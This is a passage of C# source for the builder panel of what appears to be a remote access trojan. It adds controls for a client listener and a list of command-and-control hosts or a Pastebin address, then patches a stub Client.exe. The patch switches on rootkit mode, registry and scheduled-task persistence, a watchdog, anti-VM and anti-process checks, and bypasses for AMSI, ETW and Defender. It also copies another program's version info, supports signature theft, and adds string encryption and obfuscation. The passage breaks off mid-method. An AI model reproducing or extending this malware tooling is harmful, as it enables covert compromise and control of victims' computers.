this.CheckBoxUserInit.Theme = Customs.customs.Theme; + this.CheckBoxHKCU.Theme = Customs.customs.Theme; + this.CheckBoxTaskWatchDog.Theme = Customs.customs.Theme; + this.CheckBoxTaskClient.Theme = Customs.customs.Theme; + this.CheckBoxAntiProcess.Theme = Customs.customs.Theme; + this.CheckBoxIco.Theme = Customs.customs.Theme; + this.ComboBoxPathClient.Theme = Customs.customs.Theme; + this.ComboBoxPathWatchDog.Theme = Customs.customs.Theme; + this.CheckBoxProxyString.Theme = Customs.customs.Theme; + this.CheckBoxCtrlFlow.Theme = Customs.customs.Theme; + this.ProxyCall.Theme = Customs.customs.Theme; + this.CheckBoxJumpCtrlFlow.Theme = Customs.customs.Theme; + this.ObfusctationArithmetic.Theme = Customs.customs.Theme; + this.CheckBoxRename.Theme = Customs.customs.Theme; + this.ObfuscationJunkCode.Theme = Customs.customs.Theme; + this.CheckBoxAssembly.Theme = Customs.customs.Theme; + this.AutoStartPortCheck.Theme = Customs.customs.Theme; + this.metroButton6.Theme = Customs.customs.Theme; + this.metroButton6.Theme = Customs.customs.Theme; + this.metroTextBoxPasteBin.Theme = Customs.customs.Theme; + this.metroCheckBox1.Theme = Customs.customs.Theme; + this.metroLabel47.Theme = Customs.customs.Theme; + } + this.Style = Customs.customs.Style; + this.numericUpDown1.ForeColor = Customs.customs.StyleToColor(); + this.panel3.ForeColor = Customs.customs.StyleToColor(); + this.panel4.ForeColor = Customs.customs.StyleToColor(); + this.CheckBoxSigTheif.Style = Customs.customs.Style; + this.ButtonSelectSigTheif.Style = Customs.customs.Style; + this.metroTabControl1.Style = Customs.customs.Style; + this.metroTabPage1.Style = Customs.customs.Style; + this.metroTabPage2.Style = Customs.customs.Style; + this.metroTabPage3.Style = Customs.customs.Style; + this.metroTabPage4.Style = Customs.customs.Style; + this.metroTabPage6.Style = Customs.customs.Style; + this.metroToggle1.Style = Customs.customs.Style; + this.metroToggle2.Style = Customs.customs.Style; + this.metroToggle3.Style = Customs.customs.Style; + this.metroToggle4.Style = Customs.customs.Style; + this.metroToggle5.Style = Customs.customs.Style; + this.metroToggle6.Style = Customs.customs.Style; + this.metroToggle7.Style = Customs.customs.Style; + this.metroToggle8.Style = Customs.customs.Style; + this.metroToggle9.Style = Customs.customs.Style; + this.metroToggle10.Style = Customs.customs.Style; + this.metroButton6.Style = Customs.customs.Style; + this.metroToggle11.Style = Customs.customs.Style; + this.metroButton6.Style = Customs.customs.Style; + this.metroTextBoxPasteBin.Style = Customs.customs.Style; + this.metroCheckBox1.Style = Customs.customs.Style; + this.metroLabel47.Style = Customs.customs.Style; + this.metroToggle12.Style = Customs.customs.Style; + this.metroToggle13.Style = Customs.customs.Style; + this.metroToggle14.Style = Customs.customs.Style; + this.metroToggle15.Style = Customs.customs.Style; + this.metroToggle16.Style = Customs.customs.Style; + this.metroToggle17.Style = Customs.customs.Style; + this.metroToggle18.Style = Customs.customs.Style; + this.metroToggle19.Style = Customs.customs.Style; + this.metroToggle20.Style = Customs.customs.Style; + this.metroToggle21.Style = Customs.customs.Style; + this.metroToggle22.Style = Customs.customs.Style; + this.metroToggle23.Style = Customs.customs.Style; + this.toogleNotyfiClient.Style = Customs.customs.Style; + this.toogleNotyfiNewClient.Style = Customs.customs.Style; + this.DiscordWebHook.Style = Customs.customs.Style; + this.DiscordNotifyClient.Style = Customs.customs.Style; + this.DiscordNotifyNewClient.Style = Customs.customs.Style; + this.DiscordSendLogs.Style = Customs.customs.Style; + this.CheckBoxRootKitMode.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroButton7.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.metroLabel5.Style = Customs.customs.Style; + this.metroLabel6.Style = Customs.customs.Style; + this.metroLabel7.Style = Customs.customs.Style; + this.metroLabel8.Style = Customs.customs.Style; + this.metroLabel9.Style = Customs.customs.Style; + this.metroLabel10.Style = Customs.customs.Style; + this.metroLabel11.Style = Customs.customs.Style; + this.metroLabel12.Style = Customs.customs.Style; + this.metroLabel13.Style = Customs.customs.Style; + this.metroLabel14.Style = Customs.customs.Style; + this.metroLabel15.Style = Customs.customs.Style; + this.metroLabel16.Style = Customs.customs.Style; + this.metroLabel17.Style = Customs.customs.Style; + this.metroLabel18.Style = Customs.customs.Style; + this.metroLabel19.Style = Customs.customs.Style; + this.metroLabel20.Style = Customs.customs.Style; + this.metroLabel21.Style = Customs.customs.Style; + this.metroLabel22.Style = Customs.customs.Style; + this.metroLabel23.Style = Customs.customs.Style; + this.metroLabel24.Style = Customs.customs.Style; + this.metroLabel25.Style = Customs.customs.Style; + this.metroLabel26.Style = Customs.customs.Style; + this.metroLabel27.Style = Customs.customs.Style; + this.metroLabel28.Style = Customs.customs.Style; + this.metroLabel29.Style = Customs.customs.Style; + this.metroLabel30.Style = Customs.customs.Style; + this.metroLabel31.Style = Customs.customs.Style; + this.metroLabel32.Style = Customs.customs.Style; + this.metroLabel33.Style = Customs.customs.Style; + this.metroLabel34.Style = Customs.customs.Style; + this.metroLabel35.Style = Customs.customs.Style; + this.metroLabel36.Style = Customs.customs.Style; + this.metroLabel37.Style = Customs.customs.Style; + this.metroLabel38.Style = Customs.customs.Style; + this.metroLabel39.Style = Customs.customs.Style; + this.metroLabel40.Style = Customs.customs.Style; + this.metroLabel41.Style = Customs.customs.Style; + this.metroLabel42.Style = Customs.customs.Style; + this.metroLabel43.Style = Customs.customs.Style; + this.metroLabel44.Style = Customs.customs.Style; + this.metroLabel45.Style = Customs.customs.Style; + this.metroLabel46.Style = Customs.customs.Style; + this.metroTextBox1.Style = Customs.customs.Style; + this.metroLabel48.Style = Customs.customs.Style; + this.metroTabPage7.Style = Customs.customs.Style; + this.DiscordUrl.Style = Customs.customs.Style; + this.DiscordHookName.Style = Customs.customs.Style; + this.TextBoxIp.Style = Customs.customs.Style; + this.TextBoxGroup.Style = Customs.customs.Style; + this.TextBoxTaskSaveAdmin.Style = Customs.customs.Style; + this.TextBoxMutex.Style = Customs.customs.Style; + this.TextBoxHKCUNAME.Style = Customs.customs.Style; + this.TextBoxTaskForClient.Style = Customs.customs.Style; + this.TextBoxTaskForWatchDog.Style = Customs.customs.Style; + this.TextBoxPathClient.Style = Customs.customs.Style; + this.TextBoxPathWatchDog.Style = Customs.customs.Style; + this.TextBoxProduct.Style = Customs.customs.Style; + this.TextBoxDescription.Style = Customs.customs.Style; + this.TextBoxCompany.Style = Customs.customs.Style; + this.TextBoxCopyright.Style = Customs.customs.Style; + this.TextBoxTrademarks.Style = Customs.customs.Style; + this.TextBoxOriginalFileName.Style = Customs.customs.Style; + this.TextBoxProductVersion.Style = Customs.customs.Style; + this.TextBoxFileVersion.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.ButtonIpAdd.Style = Customs.customs.Style; + this.ButtonRemoveIp.Style = Customs.customs.Style; + this.ButtonSelectIco.Style = Customs.customs.Style; + this.metroButton3.Style = Customs.customs.Style; + this.metroButton2.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.ButtonCopyAssembly.Style = Customs.customs.Style; + this.RadioButtonExitAntiProcess.Style = Customs.customs.Style; + this.RadioButtonKillAntiProcess.Style = Customs.customs.Style; + this.CheckBoxAntiVirtual.Style = Customs.customs.Style; + this.CheckBoxAdminGet.Style = Customs.customs.Style; + this.CheckBoxInstall.Style = Customs.customs.Style; + this.CheckBoxWatchDog.Style = Customs.customs.Style; + this.CheckBoxPumper.Style = Customs.customs.Style; + this.CheckBoxHideFile.Style = Customs.customs.Style; + this.CheckBoxHideFolder.Style = Customs.customs.Style; + this.CheckBoxUserInit.Style = Customs.customs.Style; + this.CheckBoxHKCU.Style = Customs.customs.Style; + this.CheckBoxTaskWatchDog.Style = Customs.customs.Style; + this.CheckBoxTaskClient.Style = Customs.customs.Style; + this.CheckBoxAntiProcess.Style = Customs.customs.Style; + this.CheckBoxIco.Style = Customs.customs.Style; + this.ComboBoxPathClient.Style = Customs.customs.Style; + this.ComboBoxPathWatchDog.Style = Customs.customs.Style; + this.CheckBoxProxyString.Style = Customs.customs.Style; + this.CheckBoxCtrlFlow.Style = Customs.customs.Style; + this.ProxyCall.Style = Customs.customs.Style; + this.CheckBoxJumpCtrlFlow.Style = Customs.customs.Style; + this.ObfusctationArithmetic.Style = Customs.customs.Style; + this.CheckBoxRename.Style = Customs.customs.Style; + this.ObfuscationJunkCode.Style = Customs.customs.Style; + this.CheckBoxAssembly.Style = Customs.customs.Style; + this.AutoStartPortCheck.Style = Customs.customs.Style; + this.metroButton4.Style = Customs.customs.Style; + this.metroButton5.Style = Customs.customs.Style; + this.metroRadioButton1.Style = Customs.customs.Style; + this.metroRadioButton2.Style = Customs.customs.Style; + this.metroRadioButton3.Style = Customs.customs.Style; + this.metroRadioButton5.Style = Customs.customs.Style; + this.metroRadioButton6.Style = Customs.customs.Style; + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.ForeColor = Customs.customs.StyleToColor(); + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.White : Color.FromArgb(17, 17, 17); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + this.GridClients.DefaultCellStyle = gridViewCellStyle; + this.GridClients.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.GridIps.DefaultCellStyle = gridViewCellStyle; + this.GridIps.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.GridAutoTasks.DefaultCellStyle = gridViewCellStyle; + this.GridAutoTasks.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.GridLogs.DefaultCellStyle = gridViewCellStyle; + this.GridLogs.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + gridViewCellStyle.Format = "dd.MM.yyyy"; + this.GridClients.Columns[18].DefaultCellStyle = gridViewCellStyle; + this.Refresh(); + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + this.GridLogs.Rows.Clear(); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.metroTextBox1.Text)) + return; + try + { + Convert.ToInt32(this.metroTextBox1.Text); + Settings.Default.port = this.metroTextBox1.Text; + Settings.Default.Save(); + if (this.metroButton1.Text == "Start") + { + this.listner = new Listener((object) this.metroTextBox1.Text); + this.metroButton1.Text = "Stop"; + } + else + { + this.listner.Dispose(); + this.metroButton1.Text = "Start"; + } + } + catch + { + } + } + + private void metroButton2_Click(object sender, EventArgs e) + { + if (!this.TextBoxIp.Text.Contains(":") || string.IsNullOrEmpty(this.TextBoxIp.Text)) + return; + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) this.TextBoxIp.Text; + DataGridViewTextBoxCell gridViewTextBoxCell2 = gridViewTextBoxCell1; + cells.Add((DataGridViewCell) gridViewTextBoxCell2); + this.GridIps.Rows.Add(dataGridViewRow); + this.TextBoxIp.Text = ""; + } + + private void metroButton3_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow selectedRow in (BaseCollection) this.GridIps.SelectedRows) + this.GridIps.Rows.Remove(selectedRow); + } + + private void AutoStartPortCheck_CheckedChanged(object sender, EventArgs e) + { + Settings.Default.AutoStartPort = this.AutoStartPortCheck.Checked; + Settings.Default.Save(); + } + + private void CheckBoxInstall_CheckedChanged(object sender, EventArgs e) + { + this.panel1.Visible = this.CheckBoxInstall.Checked; + } + + private void CheckBoxWatchDog_CheckedChanged(object sender, EventArgs e) + { + this.CheckBoxTaskWatchDog.Visible = this.CheckBoxWatchDog.Checked; + this.ComboBoxPathWatchDog.Visible = this.CheckBoxWatchDog.Checked; + this.TextBoxPathWatchDog.Visible = this.CheckBoxWatchDog.Checked; + this.TextBoxTaskForWatchDog.Visible = this.CheckBoxWatchDog.Checked; + this.metroLabel27.Visible = this.CheckBoxWatchDog.Checked; + } + + private void metroCheckBox1_CheckedChanged(object sender, EventArgs e) + { + if (this.metroCheckBox1.Checked) + { + this.TextBoxIp.Visible = false; + this.GridIps.Visible = false; + } + else + { + this.TextBoxIp.Visible = true; + this.GridIps.Visible = true; + } + } + + private void CheckBoxAntiProcess_CheckedChanged(object sender, EventArgs e) + { + this.panel2.Visible = this.CheckBoxAntiProcess.Checked; + } + + private void ButtonCopyAssembly_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Executable (*.exe)|*.exe"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName); + this.TextBoxOriginalFileName.Text = versionInfo.InternalName ?? string.Empty; + this.TextBoxDescription.Text = versionInfo.FileDescription ?? string.Empty; + this.TextBoxCompany.Text = versionInfo.CompanyName ?? string.Empty; + this.TextBoxProduct.Text = versionInfo.ProductName ?? string.Empty; + this.TextBoxCopyright.Text = versionInfo.LegalCopyright ?? string.Empty; + this.TextBoxTrademarks.Text = versionInfo.LegalTrademarks ?? string.Empty; + MetroTextBox textBoxFileVersion = this.TextBoxFileVersion; + string[] strArray1 = new string[7]; + strArray1[0] = versionInfo.FileMajorPart.ToString(); + strArray1[1] = "."; + int num = versionInfo.FileMinorPart; + strArray1[2] = num.ToString(); + strArray1[3] = "."; + num = versionInfo.FileBuildPart; + strArray1[4] = num.ToString(); + strArray1[5] = "."; + num = versionInfo.FilePrivatePart; + strArray1[6] = num.ToString(); + string str1 = string.Concat(strArray1); + textBoxFileVersion.Text = str1; + MetroTextBox boxProductVersion = this.TextBoxProductVersion; + string[] strArray2 = new string[7]; + num = versionInfo.FileMajorPart; + strArray2[0] = num.ToString(); + strArray2[1] = "."; + num = versionInfo.FileMinorPart; + strArray2[2] = num.ToString(); + strArray2[3] = "."; + num = versionInfo.FileBuildPart; + strArray2[4] = num.ToString(); + strArray2[5] = "."; + num = versionInfo.FilePrivatePart; + strArray2[6] = num.ToString(); + string str2 = string.Concat(strArray2); + boxProductVersion.Text = str2; + } + } + + private string GetIcon(string path) + { + try + { + string path1 = Path.GetTempFileName() + ".ico"; + using (FileStream fileStream = new FileStream(path1, FileMode.Create)) + IconExtractor.Extract1stIconTo(path, (Stream) fileStream); + return path1; + } + catch + { + } + return ""; + } + + private void ButtonSelectIco_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Title = "Choose Icon"; + openFileDialog.Filter = "Icons Files(*.exe;*.ico;)|*.exe;*.ico"; + openFileDialog.Multiselect = false; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + if (openFileDialog.FileName.ToLower().EndsWith(".exe")) + { + string icon = this.GetIcon(openFileDialog.FileName); + BulidStatic.IconPath = icon; + this.pictureBoxIco.ImageLocation = icon; + } + else + { + BulidStatic.IconPath = openFileDialog.FileName; + this.pictureBoxIco.ImageLocation = openFileDialog.FileName; + } + } + } + + public string getRandomCharacters(int count) + { + StringBuilder stringBuilder = new StringBuilder(); + for (int index1 = 1; index1 <= count; ++index1) + { + int index2 = this.random.Next(0, "asdfghjklqwertyuiopmnbvcxz".Length); + stringBuilder.Append("asdfghjklqwertyuiopmnbvcxz"[index2]); + } + return stringBuilder.ToString(); + } + + private void TextBoxMutex_Click(object sender, EventArgs e) + { + this.TextBoxMutex.Text = "Sheet_" + this.getRandomCharacters(this.random.Next(10, 20)); + } + + private void WriteSettings(ModuleDefMD asmDef, string AsmName) + { + string randomCharacters = this.getRandomCharacters(12); + Caesars caesars = new Caesars(); + string str = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\n\t"; + caesars.dec = Methods.Shuffle(str); + caesars.enc = Methods.Shuffle(caesars.dec); + Console.WriteLine(caesars.enc); + Console.WriteLine(caesars.dec); + if (this.CheckBoxRootKitMode.Checked) + asmDef.Resources.Add((dnlib.DotNet.Resource) new EmbeddedResource((UTF8String) randomCharacters, Methods.Compress(File.ReadAllBytes("Stub\\UserMode.obf.dll")))); + foreach (TypeDef type in (IEnumerable) asmDef.Types) + { + asmDef.Assembly.Name = (UTF8String) Path.GetFileNameWithoutExtension(AsmName); + asmDef.Name = (UTF8String) Path.GetFileName(AsmName); + foreach (MethodDef method in (IEnumerable) type.Methods) + { + if (method.Body != null) + { + for (int index = 0; index < method.Body.Instructions.Count(); ++index) + { + if (method.Body.Instructions[index].OpCode == OpCodes.Ldstr) + { + if (type.Name == "Client" && method.Body.Instructions[index].Operand.ToString() != "Run") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt((string) method.Body.Instructions[index].Operand); + if (type.Name == "AntiDefender" || type.Name == "AntiProcess" || type.Name == "AntiVirtual" || type.Name == "HwidGen" || type.Name == "Install" || type.Name == "Methods" || type.Name == "Camera" || type.Name == "StartAsTrushInstaller" || type.Name == "SetRegistry" || type.Name == "GetPaste" || type.Name == "AntiSandBox" || type.Name == "AsmiAndETW" || type.Name == "DInvokeCore" || type.Name == "DllImport" || type.Name == "SecrityHiden") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt((string) method.Body.Instructions[index].Operand); + if (type.Name == "Caesars") + { + if (method.Body.Instructions[index].Operand.ToString() == "%dec%") + method.Body.Instructions[index].Operand = (object) caesars.dec; + if (method.Body.Instructions[index].Operand.ToString() == "%enc%") + method.Body.Instructions[index].Operand = (object) caesars.enc; + } + if (type.Name == "Settings") + { + if (method.Body.Instructions[index].Operand.ToString() == "xdwd" || method.Body.Instructions[index].Operand.ToString() == "Processor Information" || method.Body.Instructions[index].Operand.ToString() == "% Processor Utility" || method.Body.Instructions[index].Operand.ToString() == "_Total" || method.Body.Instructions[index].Operand.ToString() == "Win32_Processor" || method.Body.Instructions[index].Operand.ToString() == "Win32_VideoController" || method.Body.Instructions[index].Operand.ToString() == "Win32_VideoController" || method.Body.Instructions[index].Operand.ToString() == "AdapterRAM" || method.Body.Instructions[index].Operand.ToString() == "<@>" || method.Body.Instructions[index].Operand.ToString() == "Name" || method.Body.Instructions[index].Operand.ToString() == "dd.MM.yyyy" || method.Body.Instructions[index].Operand.ToString() == "explorer" || method.Body.Instructions[index].Operand.ToString() == "NO OWNER" || method.Body.Instructions[index].Operand.ToString() == "%ApplicationData%" || method.Body.Instructions[index].Operand.ToString() == ".exe" || method.Body.Instructions[index].Operand.ToString() == "Start Menu\\Programs\\Startup\\" || method.Body.Instructions[index].Operand.ToString() == "\\Microsoft\\Windows\\" || method.Body.Instructions[index].Operand.ToString() == "N/A") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt((string) method.Body.Instructions[index].Operand); + if (method.Body.Instructions[index].Operand.ToString() == "%ANTIVIRTUAL%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxAntiVirtual.Checked.ToString().ToLower()); + if (this.metroCheckBox1.Checked) + { + if (method.Body.Instructions[index].Operand.ToString() == "%PASTEBIN%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.metroTextBoxPasteBin.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%IPS%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt("PASTEMODE"); + } + else + { + if (method.Body.Instructions[index].Operand.ToString() == "%PASTEBIN%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt("IPMODE"); + if (method.Body.Instructions[index].Operand.ToString() == "%IPS%") + { + List values = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.GridIps.Rows) + values.Add((string) row.Cells[0].Value); + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(string.Join(",", (IEnumerable) values)); + } + } + if (method.Body.Instructions[index].Operand.ToString() == "%MUTEX%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxMutex.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%VERSION%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.Text.Split(' ')[2]); + if (method.Body.Instructions[index].Operand.ToString() == "%GROUP%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxGroup.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%ASADMIN%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxAdminGet.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%TASKADMIN%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxTaskSaveAdmin.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%INSTALL%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxInstall.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%INSTALLWATCHDOG%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxWatchDog.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%PATHCLIENT%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(Path.Combine(this.ComboBoxPathClient.Text, this.TextBoxPathClient.Text)); + if (method.Body.Instructions[index].Operand.ToString() == "%PATHWATCHDOG%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(Path.Combine(this.ComboBoxPathWatchDog.Text, this.TextBoxPathWatchDog.Text)); + if (method.Body.Instructions[index].Operand.ToString() == "%PUMPER%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxPumper.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%HIDEFILE%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxHideFile.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%HIDEFOLDER%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxHideFolder.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%USERINIT%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxUserInit.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%HKCU%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxHKCU.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%HKCUNAME%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxHKCUNAME.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%TASKWATCHDOG%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxTaskWatchDog.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%TASKWATCHDOGNAME%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxTaskForWatchDog.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%TASKCLIENT%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxTaskClient.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%TASKCLIENTNAME%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.TextBoxTaskForClient.Text); + if (method.Body.Instructions[index].Operand.ToString() == "%ANTIPROCESS%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxAntiProcess.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%ANTIPROCESSMODE%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.RadioButtonKillAntiProcess.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%ROOTKIT%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(this.CheckBoxRootKitMode.Checked.ToString().ToLower()); + if (method.Body.Instructions[index].Operand.ToString() == "%ROOTKITNM%") + method.Body.Instructions[index].Operand = (object) caesars.Encrypt(randomCharacters); + } + } + } + } + } + } + } + + private void WriteAssembly(string filename) + { + try + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(filename); + versionResource.FileVersion = this.TextBoxFileVersion.Text; + versionResource.ProductVersion = this.TextBoxProductVersion.Text; + versionResource.Language = (ushort) 0; + StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; + stringFileInfo["ProductName"] = this.TextBoxProduct.Text; + stringFileInfo["FileDescription"] = this.TextBoxDescription.Text; + stringFileInfo["CompanyName"] = this.TextBoxCompany.Text; + stringFileInfo["LegalCopyright"] = this.TextBoxCopyright.Text; + stringFileInfo["LegalTrademarks"] = this.TextBoxTrademarks.Text; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = this.TextBoxOriginalFileName.Text; + stringFileInfo["OriginalFilename"] = this.TextBoxOriginalFileName.Text; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + versionResource.SaveTo(filename); + } + catch (Exception ex) + { + throw new ArgumentException("Assembly: " + ex.Message); + } + } + + private void metroButton2_Click_1(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.TextBoxGroup.Text)) + { + int num1 = (int) MessageBox.Show("you didn't write the text in Group", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxMutex.Text)) + { + int num2 = (int) MessageBox.Show("you didn't write the text in Mutex", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(BulidStatic.IconPath) && this.CheckBoxIco.Checked) + { + int num3 = (int) MessageBox.Show("you didn't select icon", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskSaveAdmin.Text) && this.CheckBoxAdminGet.Checked) + { + int num4 = (int) MessageBox.Show("you didn't write the text in Save Admin", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxHKCUNAME.Text) && this.CheckBoxHKCU.Checked && this.CheckBoxInstall.Checked) + { + int num5 = (int) MessageBox.Show("you didn't write the text in Hkcu Name", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskForClient.Text) && this.CheckBoxTaskClient.Checked && this.CheckBoxInstall.Checked) + { + int num6 = (int) MessageBox.Show("you didn't write the text in Task Name for client", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxTaskForWatchDog.Text) && this.CheckBoxTaskWatchDog.Checked && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num7 = (int) MessageBox.Show("you didn't write the text in Task Name for WatchDog", "Shit", MessageBoxButtons.OK); + } + else if (this.ComboBoxPathClient.SelectedIndex == -1 && this.CheckBoxInstall.Checked) + { + int num8 = (int) MessageBox.Show("you didn't select path for client", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxPathClient.Text) && this.CheckBoxInstall.Checked) + { + int num9 = (int) MessageBox.Show("you didn't write the text in Client Name", "Shit", MessageBoxButtons.OK); + } + else if (this.ComboBoxPathWatchDog.SelectedIndex == -1 && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num10 = (int) MessageBox.Show("you didn't select path for WatchDog", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.TextBoxPathWatchDog.Text) && this.CheckBoxWatchDog.Checked && this.CheckBoxInstall.Checked) + { + int num11 = (int) MessageBox.Show("you didn't write the text in WatchDog Name", "Shit", MessageBoxButtons.OK); + } + else if (this.GridIps.Rows.Count == 0 && !this.metroCheckBox1.Checked) + { + int num12 = (int) MessageBox.Show("you forgot to add a hosts", "Shit", MessageBoxButtons.OK); + } + else if (string.IsNullOrEmpty(this.metroTextBoxPasteBin.Text) && this.metroCheckBox1.Checked) + { + int num13 = (int) MessageBox.Show("you forgot to add a PasteBin", "Shit", MessageBoxButtons.OK); + } + else if (this.CheckBoxSigTheif.Checked && !File.Exists(BulidStatic.SigPath)) + { + int num14 = (int) MessageBox.Show("sigtheif doesn't have a file", "Shit", MessageBoxButtons.OK); + } + else + { + using (ModuleDefMD moduleDefMd = ModuleDefMD.Load("Stub\\Client.exe")) + { + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = ".exe (*.exe)|*.exe"; + saveFileDialog.InitialDirectory = Path.Combine(Application.StartupPath, "Bulids"); + saveFileDialog.OverwritePrompt = false; + saveFileDialog.FileName = "Client.exe"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start write settings in stub.exe"); + this.WriteSettings(moduleDefMd, saveFileDialog.FileName); + if (this.CheckBoxJumpCtrlFlow.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation JumpCtrlFlow"); + JumpCtrlFlow.Execute((ModuleDef) moduleDefMd); + } + if (this.CheckBoxProxyString.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ProxyString"); + ProxyString.Execute((ModuleDef) moduleDefMd); + } + if (this.ProxyCall.Checked) + { + CustomConsole.WriteLine(CustomConsole.Title.Information, "Start Obfuscation ProxyCall"); + ProxyAdder.Execute((ModuleDef) moduleDefMd); + } + if (this.ObfuscationJunkCode.Checked) + { + 